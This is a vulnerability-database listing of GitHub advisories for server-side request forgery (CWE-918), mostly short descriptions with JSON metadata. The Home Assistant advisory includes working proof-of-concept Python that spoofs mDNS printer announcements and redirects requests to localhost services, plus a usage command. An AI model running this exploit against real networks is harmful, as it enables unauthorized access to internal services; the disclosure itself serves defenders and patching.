CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6271 vulnerabilities reference this CWE, most recent first.
GHSA-4FV2-MMC2-3P6X
Vulnerability from github – Published: 2026-04-25 12:32 – Updated: 2026-04-25 12:32A flaw has been found in devlikeapro WAHA up to 2026.3.4. This affects an unknown function of the file src/api/media.controller.ts of the component API Request Handler. This manipulation causes server-side request forgery. The attack can be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-6979"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-25T12:15:59Z",
"severity": "MODERATE"
},
"details": "A flaw has been found in devlikeapro WAHA up to 2026.3.4. This affects an unknown function of the file src/api/media.controller.ts of the component API Request Handler. This manipulation causes server-side request forgery. The attack can be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-4fv2-mmc2-3p6x",
"modified": "2026-04-25T12:32:05Z",
"published": "2026-04-25T12:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6979"
},
{
"type": "WEB",
"url": "https://github.com/wing3e/public_exp/issues/36"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/795416"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/359522"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/359522/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4FWH-VHV3-7XX7
Vulnerability from github – Published: 2024-01-13 03:30 – Updated: 2024-01-24 18:30An issue in rymcu forest v.0.02 allows a remote attacker to obtain sensitive information via manipulation of the HTTP body URL in the com.rymcu.forest.web.api.common.UploadController file.
{
"affected": [],
"aliases": [
"CVE-2023-51804"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-13T02:15:07Z",
"severity": "HIGH"
},
"details": "An issue in rymcu forest v.0.02 allows a remote attacker to obtain sensitive information via manipulation of the HTTP body URL in the com.rymcu.forest.web.api.common.UploadController file.",
"id": "GHSA-4fwh-vhv3-7xx7",
"modified": "2024-01-24T18:30:59Z",
"published": "2024-01-13T03:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51804"
},
{
"type": "WEB",
"url": "https://github.com/rymcu/forest/issues/149"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4G28-PCV2-QJ5H
Vulnerability from github – Published: 2026-08-28 06:31 – Updated: 2026-08-28 06:31wallabag 2 through 2.6.14 allows SSRF because a crafted title or content field is mishandled during PDF export.
{
"affected": [],
"aliases": [
"CVE-2026-82081"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-28T05:16:46Z",
"severity": "MODERATE"
},
"details": "wallabag 2 through 2.6.14 allows SSRF because a crafted title or content field is mishandled during PDF export.",
"id": "GHSA-4g28-pcv2-qj5h",
"modified": "2026-08-28T06:31:04Z",
"published": "2026-08-28T06:31:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/wallabag/wallabag/security/advisories/GHSA-q2g2-www6-wf5h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82081"
},
{
"type": "WEB",
"url": "https://github.com/FUNFACTOR1/WALLABAG-FULL-DISCLOSURE-Stored-XSS-SSRF-CVSS-8.5-GHSA-q2g2-"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4G3W-2657-GJQ5
Vulnerability from github – Published: 2025-04-14 03:30 – Updated: 2025-04-14 03:30SmartRobot from INTUMIT has a Server-Side Request Forgery vulnerability, allowing unauthenticated remote attackers to probe internal network and even access arbitrary local files on the server.
{
"affected": [],
"aliases": [
"CVE-2025-3572"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-14T03:15:17Z",
"severity": "HIGH"
},
"details": "SmartRobot from INTUMIT has a Server-Side Request Forgery vulnerability, allowing unauthenticated remote attackers to probe internal network and even access arbitrary local files on the server.",
"id": "GHSA-4g3w-2657-gjq5",
"modified": "2025-04-14T03:30:34Z",
"published": "2025-04-14T03:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3572"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-10065-2494c-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-10064-6346a-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4G5W-3WHP-5G88
Vulnerability from github – Published: 2025-04-24 18:31 – Updated: 2026-04-01 18:34Server-Side Request Forgery (SSRF) vulnerability in Ankur Vishwakarma WP AVCL Automation Helper (formerly WPFlyLeads) allows Server Side Request Forgery. This issue affects WP AVCL Automation Helper (formerly WPFlyLeads): from n/a through 3.4.
{
"affected": [],
"aliases": [
"CVE-2025-46531"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-24T16:15:44Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Ankur Vishwakarma WP AVCL Automation Helper (formerly WPFlyLeads) allows Server Side Request Forgery. This issue affects WP AVCL Automation Helper (formerly WPFlyLeads): from n/a through 3.4.",
"id": "GHSA-4g5w-3whp-5g88",
"modified": "2026-04-01T18:34:59Z",
"published": "2025-04-24T18:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46531"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/woozap/vulnerability/wordpress-wp-avcl-automation-helper-formerly-wpflyleads-3-4-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4G6X-74C2-RFR9
Vulnerability from github – Published: 2025-12-30 21:30 – Updated: 2025-12-30 21:30A vulnerability was determined in FeehiCMS up to 2.1.1. Impacted is an unknown function of the file frontend/web/timthumb.php of the component TimThumb. Executing manipulation of the argument src can lead to server-side request forgery. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-15264"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-30T19:15:44Z",
"severity": "MODERATE"
},
"details": "A vulnerability was determined in FeehiCMS up to 2.1.1. Impacted is an unknown function of the file frontend/web/timthumb.php of the component TimThumb. Executing manipulation of the argument src can lead to server-side request forgery. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-4g6x-74c2-rfr9",
"modified": "2025-12-30T21:30:32Z",
"published": "2025-12-30T21:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15264"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.338663"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.338663"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.718278"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4GG8-4J5V-PVFM
Vulnerability from github – Published: 2025-08-18 18:30 – Updated: 2025-08-18 18:30ColdFusion versions 2025.1, 2023.13, 2021.19 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could lead to limited file system read. A high-privilege authenticated attacker can force the application to make arbitrary requests via injection of arbitrary URLs. Exploitation of this issue does not require user interaction.
{
"affected": [],
"aliases": [
"CVE-2025-54234"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-18T17:15:29Z",
"severity": "LOW"
},
"details": "ColdFusion versions 2025.1, 2023.13, 2021.19 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could lead to limited file system read. A high-privilege authenticated attacker can force the application to make arbitrary requests via injection of arbitrary URLs. Exploitation of this issue does not require user interaction.",
"id": "GHSA-4gg8-4j5v-pvfm",
"modified": "2025-08-18T18:30:35Z",
"published": "2025-08-18T18:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54234"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/coldfusion/apsb25-52.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4GGG-H7PH-26QR
Vulnerability from github – Published: 2026-04-08 19:53 – Updated: 2026-04-09 19:05Impact
An authenticated Server-Side Request Forgery in n8n-mcp allows a caller holding a valid AUTH_TOKEN to cause the server to issue HTTP requests to arbitrary URLs supplied through multi-tenant HTTP headers. Response bodies are reflected back through JSON-RPC, so an attacker can read the contents of any URL the server can reach — including cloud instance metadata endpoints (AWS IMDS, GCP, Azure, Alibaba, Oracle), internal network services, and any other host the server process has network access to.
The primary at-risk deployments are multi-tenant HTTP installations where more than one operator can present a valid AUTH_TOKEN, or where a token is shared with less-trusted clients. Single-tenant stdio deployments and HTTP deployments without multi-tenant headers are not affected.
Affected versions
n8n-mcp ≤ 2.47.3 (all versions up to and including 2.47.3).
Patched versions
n8n-mcp 2.47.4 and later.
Workarounds
If you cannot immediately upgrade:
1. Egress filtering at the network layer — block outbound traffic from the n8n-mcp container to RFC1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local 169.254.0.0/16, and any other internal ranges. This defends against any future SSRF-class issue and is recommended even after upgrading.
2. Disable multi-tenant headers — if your deployment does not require per-request instance switching, unset ENABLE_MULTI_TENANT and do not accept x-n8n-url / x-n8n-key headers at the reverse proxy.
3. Restrict AUTH_TOKEN distribution — ensure the bearer token is only held by fully trusted operators until you can upgrade.
Remediation
Upgrade to n8n-mcp 2.47.4 or later. No configuration changes are required; the fix adds validation at the URL entry points and normalizes URLs at the API client layer.
Credits
Reported by the Eresus Security Research Team. @ibrahmsql
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.47.3"
},
"package": {
"ecosystem": "npm",
"name": "n8n-mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.47.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39974"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T19:53:48Z",
"nvd_published_at": "2026-04-09T17:16:30Z",
"severity": "HIGH"
},
"details": "## Impact\nAn authenticated Server-Side Request Forgery in `n8n-mcp` allows a caller holding a valid `AUTH_TOKEN` to cause the server to issue HTTP requests to arbitrary URLs supplied through multi-tenant HTTP headers. Response bodies are reflected back through JSON-RPC, so an attacker can read the contents of any URL the server can reach \u2014 including cloud instance metadata endpoints (AWS IMDS, GCP, Azure, Alibaba, Oracle), internal network services, and any other host the server process has network access to.\n\nThe primary at-risk deployments are multi-tenant HTTP installations where more than one operator can present a valid `AUTH_TOKEN`, or where a token is shared with less-trusted clients. Single-tenant stdio deployments and HTTP deployments without multi-tenant headers are not affected.\n\n## Affected versions\n`n8n-mcp` \u2264 `2.47.3` (all versions up to and including 2.47.3).\n\n## Patched versions\n`n8n-mcp` `2.47.4` and later.\n\n## Workarounds\nIf you cannot immediately upgrade:\n1. **Egress filtering at the network layer** \u2014 block outbound traffic from the `n8n-mcp` container to RFC1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local `169.254.0.0/16`, and any other internal ranges. This defends against any future SSRF-class issue and is recommended even after upgrading.\n2. **Disable multi-tenant headers** \u2014 if your deployment does not require per-request instance switching, unset `ENABLE_MULTI_TENANT` and do not accept `x-n8n-url` / `x-n8n-key` headers at the reverse proxy.\n3. **Restrict `AUTH_TOKEN` distribution** \u2014 ensure the bearer token is only held by fully trusted operators until you can upgrade.\n\n## Remediation\nUpgrade to `n8n-mcp` 2.47.4 or later. No configuration changes are required; the fix adds validation at the URL entry points and normalizes URLs at the API client layer.\n\n## Credits\nReported by the Eresus Security Research Team. @ibrahmsql",
"id": "GHSA-4ggg-h7ph-26qr",
"modified": "2026-04-09T19:05:56Z",
"published": "2026-04-08T19:53:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/czlonkowski/n8n-mcp/security/advisories/GHSA-4ggg-h7ph-26qr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39974"
},
{
"type": "WEB",
"url": "https://github.com/czlonkowski/n8n-mcp/commit/d9d847f230923d96e0857ccecf3a4dedcc9b0096"
},
{
"type": "PACKAGE",
"url": "https://github.com/czlonkowski/n8n-mcp"
},
{
"type": "WEB",
"url": "https://github.com/czlonkowski/n8n-mcp/releases/tag/v2.47.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "n8n-mcp has authenticated SSRF via instance-URL header in multi-tenant HTTP mode"
}
GHSA-4GHV-53CQ-7WP3
Vulnerability from github – Published: 2026-09-22 20:40 – Updated: 2026-09-22 20:40Summary
Home Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes _ipp._tcp.local service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.
Details
Home Assistant listens for mDNS service announcements on port 5353. When a service of type _ipp._tcp.local is discovered, the IPP integration's zeroconf handler (homeassistant/components/ipp/config_flow.py) processes it automatically.
The async_step_zeroconf method extracts host, port, and base_path directly from the mDNS discovery info without validation:
async def async_step_zeroconf(
self, discovery_info: ZeroconfServiceInfo
) -> ConfigFlowResult:
host = discovery_info.host
port = discovery_info.port
zctype = discovery_info.type
name = discovery_info.name.replace(f".{zctype}", "")
tls = zctype == "_ipps._tcp.local."
base_path = discovery_info.properties.get("rp", "ipp/print")
self.discovery_info.update(
{
CONF_HOST: host,
CONF_PORT: port,
CONF_SSL: tls,
CONF_VERIFY_SSL: False,
CONF_BASE_PATH: f"/{base_path}",
CONF_NAME: name,
CONF_UUID: unique_id,
}
)
These values are then passed to validate_input(), which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:
async def validate_input(hass: HomeAssistant, data: dict) -> dict[str, Any]:
session = async_get_clientsession(hass)
ipp = IPP(
host=data[CONF_HOST],
port=data[CONF_PORT],
base_path=data[CONF_BASE_PATH],
tls=data[CONF_SSL],
verify_ssl=data[CONF_VERIFY_SSL],
session=session,
)
printer = await ipp.printer()
return {CONF_SERIAL: printer.info.serial, CONF_UUID: printer.info.uuid}
The core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at 127.0.0.1 or other internal services that are not otherwise network-accessible.
An attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker's IP. The attacker's HTTP server then responds with a 302 redirect to any internal endpoint, causing Home Assistant to make the request on the attacker's behalf.
PoC
The PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker's HTTP server, which redirects the request to an internal service.
Prerequisites
- Attacker machine on the same local network as the Home Assistant Green device
- Python 3 with dependencies:
pip install -r requirements.txt
Exploit Code
The core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:
def build_dns_response(service_name, service_type, attacker_ip, attacker_port):
transaction_id = 0x0000 # mDNS always 0
flags = 0x8400 # Standard response, authoritative answer
qdcount = 0
ancount = 4 # 4 answers (service_type, SRV, TXT, A)
nscount = 0
arcount = 0
SRV = service_name + '.' + service_type
header = struct.pack("!HHHHHH", transaction_id, flags, qdcount, ancount, nscount, arcount)
def encode_name(name):
parts = name.split(".")
out = b""
for p in parts:
out += bytes([len(p)]) + p.encode("utf-8")
out += b"\x00"
return out
answers = b""
# PTR record: _ipp._tcp.local -> meomeo._ipp._tcp.local
answers += encode_name(service_type)
answers += struct.pack("!HHI", 12, 1, 1)
target = encode_name(SRV)
answers += struct.pack("!H", len(target)) + target
# SRV record
answers += encode_name(SRV)
answers += struct.pack("!HHI", 33, 1, 120)
srv_data = struct.pack("!HHH", 0, 0, attacker_port) + encode_name("hihiabcdmeomeo.local")
answers += struct.pack("!H", len(srv_data)) + srv_data
# TXT record
txt_strs = [b"abcd=efgh"]
txt_record = b"".join(bytes([len(s)]) + s for s in txt_strs)
answers += encode_name(SRV)
answers += struct.pack("!HHI", 16, 1, 120)
answers += struct.pack("!H", len(txt_record)) + txt_record
# A record: hihiabcdmeomeo.local -> attacker IP
answers += encode_name("hihiabcdmeomeo.local")
answers += struct.pack("!HHI", 1, 1, 120)
ip_bytes = socket.inet_aton(attacker_ip)
answers += struct.pack("!H", len(ip_bytes)) + ip_bytes
return header + answers
def send_mdns_response(service_name, service_type, has_ip, attacker_ip, attacker_port):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
packet = build_dns_response(service_name, service_type, attacker_ip, attacker_port)
sock.sendto(packet, (has_ip, 5353))
The attacker's HTTP server redirects the incoming IPP request to an internal service:
class RedirectHandler(BaseHTTPRequestHandler):
def do_POST(self):
self.send_response(302)
self.send_header("Location", "http://127.0.0.1:<INTERNAL_PORT>/<path>")
self.end_headers()
Usage
python3 zeroconf.py -type _ipp._tcp.local -has_ip <HOME_ASSISTANT_IP> -attacker_ip <ATTACKER_IP> -name meomeo
Exploit Flow
- The script starts an HTTP server on port 8000 that responds with a 302 redirect to an internal service
- A crafted mDNS response is sent to Home Assistant, advertising a fake IPP printer pointing to the attacker's IP and port 8000
- Home Assistant's IPP integration automatically discovers the "printer" and connects to the attacker's HTTP server
- The attacker's server responds with a 302 redirect to
http://127.0.0.1:<port>/<path> - Home Assistant follows the redirect, making a request to the internal service on the attacker's behalf
Impact
An unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to 127.0.0.1 or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration — the IPP integration processes _ipp._tcp.local announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects.
Mitigations
The shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses: when a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (localhost and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected.
Acknowledgements
Discovered by ZDI (ZDI-CAN-28336)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 2026.2.2"
},
"package": {
"ecosystem": "PyPI",
"name": "homeassistant"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-91129"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:40:51Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nHome Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes `_ipp._tcp.local` service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.\n\n## Details\n\nHome Assistant listens for mDNS service announcements on port 5353. When a service of type `_ipp._tcp.local` is discovered, the IPP integration\u0027s zeroconf handler (`homeassistant/components/ipp/config_flow.py`) processes it automatically.\n\nThe `async_step_zeroconf` method extracts `host`, `port`, and `base_path` directly from the mDNS discovery info without validation:\n\n```python\nasync def async_step_zeroconf(\n self, discovery_info: ZeroconfServiceInfo\n) -\u003e ConfigFlowResult:\n host = discovery_info.host\n port = discovery_info.port\n zctype = discovery_info.type\n name = discovery_info.name.replace(f\".{zctype}\", \"\")\n tls = zctype == \"_ipps._tcp.local.\"\n base_path = discovery_info.properties.get(\"rp\", \"ipp/print\")\n\n self.discovery_info.update(\n {\n CONF_HOST: host,\n CONF_PORT: port,\n CONF_SSL: tls,\n CONF_VERIFY_SSL: False,\n CONF_BASE_PATH: f\"/{base_path}\",\n CONF_NAME: name,\n CONF_UUID: unique_id,\n }\n )\n```\n\nThese values are then passed to `validate_input()`, which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:\n\n```python\nasync def validate_input(hass: HomeAssistant, data: dict) -\u003e dict[str, Any]:\n session = async_get_clientsession(hass)\n ipp = IPP(\n host=data[CONF_HOST],\n port=data[CONF_PORT],\n base_path=data[CONF_BASE_PATH],\n tls=data[CONF_SSL],\n verify_ssl=data[CONF_VERIFY_SSL],\n session=session,\n )\n printer = await ipp.printer()\n return {CONF_SERIAL: printer.info.serial, CONF_UUID: printer.info.uuid}\n```\n\nThe core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at `127.0.0.1` or other internal services that are not otherwise network-accessible.\n\nAn attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker\u0027s IP. The attacker\u0027s HTTP server then responds with a **302 redirect** to any internal endpoint, causing Home Assistant to make the request on the attacker\u0027s behalf.\n\n## PoC\n\nThe PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker\u0027s HTTP server, which redirects the request to an internal service.\n\n### Prerequisites\n\n- Attacker machine on the same local network as the Home Assistant Green device\n- Python 3 with dependencies: `pip install -r requirements.txt`\n\n### Exploit Code\n\nThe core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:\n\n```python\ndef build_dns_response(service_name, service_type, attacker_ip, attacker_port):\n transaction_id = 0x0000 # mDNS always 0\n flags = 0x8400 # Standard response, authoritative answer\n qdcount = 0\n ancount = 4 # 4 answers (service_type, SRV, TXT, A)\n nscount = 0\n arcount = 0\n\n SRV = service_name + \u0027.\u0027 + service_type\n header = struct.pack(\"!HHHHHH\", transaction_id, flags, qdcount, ancount, nscount, arcount)\n\n def encode_name(name):\n parts = name.split(\".\")\n out = b\"\"\n for p in parts:\n out += bytes([len(p)]) + p.encode(\"utf-8\")\n out += b\"\\x00\"\n return out\n\n answers = b\"\"\n\n # PTR record: _ipp._tcp.local -\u003e meomeo._ipp._tcp.local\n answers += encode_name(service_type)\n answers += struct.pack(\"!HHI\", 12, 1, 1)\n target = encode_name(SRV)\n answers += struct.pack(\"!H\", len(target)) + target\n\n # SRV record\n answers += encode_name(SRV)\n answers += struct.pack(\"!HHI\", 33, 1, 120)\n srv_data = struct.pack(\"!HHH\", 0, 0, attacker_port) + encode_name(\"hihiabcdmeomeo.local\")\n answers += struct.pack(\"!H\", len(srv_data)) + srv_data\n\n # TXT record\n txt_strs = [b\"abcd=efgh\"]\n txt_record = b\"\".join(bytes([len(s)]) + s for s in txt_strs)\n answers += encode_name(SRV)\n answers += struct.pack(\"!HHI\", 16, 1, 120)\n answers += struct.pack(\"!H\", len(txt_record)) + txt_record\n\n # A record: hihiabcdmeomeo.local -\u003e attacker IP\n answers += encode_name(\"hihiabcdmeomeo.local\")\n answers += struct.pack(\"!HHI\", 1, 1, 120)\n ip_bytes = socket.inet_aton(attacker_ip)\n answers += struct.pack(\"!H\", len(ip_bytes)) + ip_bytes\n\n return header + answers\n\ndef send_mdns_response(service_name, service_type, has_ip, attacker_ip, attacker_port):\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)\n packet = build_dns_response(service_name, service_type, attacker_ip, attacker_port)\n sock.sendto(packet, (has_ip, 5353))\n```\n\nThe attacker\u0027s HTTP server redirects the incoming IPP request to an internal service:\n\n```python\nclass RedirectHandler(BaseHTTPRequestHandler):\n def do_POST(self):\n self.send_response(302)\n self.send_header(\"Location\", \"http://127.0.0.1:\u003cINTERNAL_PORT\u003e/\u003cpath\u003e\")\n self.end_headers()\n```\n\n### Usage\n\n```bash\npython3 zeroconf.py -type _ipp._tcp.local -has_ip \u003cHOME_ASSISTANT_IP\u003e -attacker_ip \u003cATTACKER_IP\u003e -name meomeo\n```\n\n### Exploit Flow\n\n1. The script starts an HTTP server on port 8000 that responds with a 302 redirect to an internal service\n2. A crafted mDNS response is sent to Home Assistant, advertising a fake IPP printer pointing to the attacker\u0027s IP and port 8000\n3. Home Assistant\u0027s IPP integration automatically discovers the \"printer\" and connects to the attacker\u0027s HTTP server\n4. The attacker\u0027s server responds with a 302 redirect to `http://127.0.0.1:\u003cport\u003e/\u003cpath\u003e`\n5. Home Assistant follows the redirect, making a request to the internal service on the attacker\u0027s behalf\n\n## Impact\n\nAn unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to `127.0.0.1` or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration \u2014 the IPP integration processes `_ipp._tcp.local` announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects.\n\n## Mitigations\n\nThe shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses: when a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (`localhost` and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected.\n\n## Acknowledgements\n\nDiscovered by ZDI (ZDI-CAN-28336)",
"id": "GHSA-4ghv-53cq-7wp3",
"modified": "2026-09-22T20:40:51Z",
"published": "2026-09-22T20:40:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/home-assistant/core/security/advisories/GHSA-4ghv-53cq-7wp3"
},
{
"type": "WEB",
"url": "https://github.com/home-assistant/core/pull/162941"
},
{
"type": "WEB",
"url": "https://github.com/home-assistant/core/commit/0f3c7ca2772b605c0f3c09c88f35e527ea6ea560"
},
{
"type": "WEB",
"url": "https://github.com/home-assistant/core/commit/815c708d19aa0c7f59f9ee318b613a5e481a42b3"
},
{
"type": "PACKAGE",
"url": "https://github.com/home-assistant/core"
},
{
"type": "WEB",
"url": "https://github.com/home-assistant/core/releases/tag/2026.2.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Home Assistant: mDNS Server-Side Request Forgery"
}
GHSA-4GM2-R6XM-JQXH
Vulnerability from github – Published: 2022-05-17 00:01 – Updated: 2024-03-14 21:30The Fusion Builder WordPress plugin before 3.6.2, used in the Avada theme, does not validate a parameter in its forms which could be used to initiate arbitrary HTTP requests. The data returned is then reflected back in the application's response. This could be used to interact with hosts on the server's local network bypassing firewalls and access control measures.
{
"affected": [],
"aliases": [
"CVE-2022-1386"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-16T15:15:00Z",
"severity": "CRITICAL"
},
